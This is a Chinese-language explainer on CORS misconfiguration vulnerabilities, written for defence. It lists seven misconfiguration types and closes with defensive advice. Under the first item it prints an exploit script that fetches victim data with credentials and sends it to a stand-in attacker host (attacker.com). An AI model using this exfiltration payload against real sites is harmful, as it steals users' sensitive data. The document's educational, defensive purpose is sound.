客户端CORS漏洞-错误配置是指服务器在配置跨域资源共享(CORS)时,由于不当设置导致的安全风险。这些错误配置可能允许恶意网站绕过同源策略,访问敏感数据或执行未授权操作。以下是常见的CORS错误配置及其利用方式:
1. 反射 Access-Control-Allow-Origin + Access-Control-Allow-Credentials: true- 问题:服务器动态反射客户端请求中的 Origin 头,并同时设置 Access-Control-Allow-Credentials: true。
- 风险:攻击者可构造恶意页面,诱导用户访问,从而窃取敏感数据(如Cookie、API密钥)。
- 示例:HTTP/1.1 200 OKAccess-Control-Allow-Origin:
https://attacker.comAccess-Control-Allow-Credentials:
true - 利用代码:<script> fetch('
https://victim.com/sensitive-data'
, {credentials: 'include'}) .then(r => r.text()) .then(data => location='https://attacker.com/log?data='+encodeURIComponent
(data));</script>
2. Access-Control-Allow-Origin: null + Access-Control-Allow-Credentials: true3. 白名单域名存在XSS漏洞4. Origin校验错误5. HTTPS网站信任HTTP域名- 问题:HTTPS网站将HTTP域名列入CORS白名单。
- 风险:中间人攻击(MITM)可篡改HTTP请求,绕过HTTPS保护。
- 示例:Access-Control-Allow-Origin:
http://insecure-site.com
6. 信任内网主机- 问题:服务器允许内网域名(如
http://internal.local
)跨域访问。 - 风险:若内网主机存在XSS漏洞,攻击者可窃取内网敏感数据。
7. 结合客户端/服务端缓存中毒- 问题:错误的CORS响应被缓存(如CDN、浏览器),导致长期可用。
- 风险:缓存中毒扩大攻击范围,影响更多用户。
防御建议- 严格校验 Origin:
避免动态反射 Origin,使用静态白名单。
确保正则表达式正确转义(如 . 需转义为 .)。
- 禁用敏感组合:
避免同时使用 Access-Control-Allow-Origin: * 和 Access-Control-Allow-Credentials: true。
若需凭证,必须明确指定域名(如
https://trusted.com
)。 - 避免信任 null:
除非明确需要(如本地开发),否则禁止 Origin: null。
- HTTPS一致性:
确保CORS白名单域名与主站协议一致(如HTTPS不信任HTTP)。
- 输入净化:
对用户可控的 Origin 头进行严格过滤。
总结CORS错误配置的核心在于服务器对跨域请求的过度信任或校验疏漏。攻击者通过构造恶意请求,利用这些配置缺陷窃取数据或执行未授权操作。修复时需遵循最小权限原则,严格限制跨域访问范围。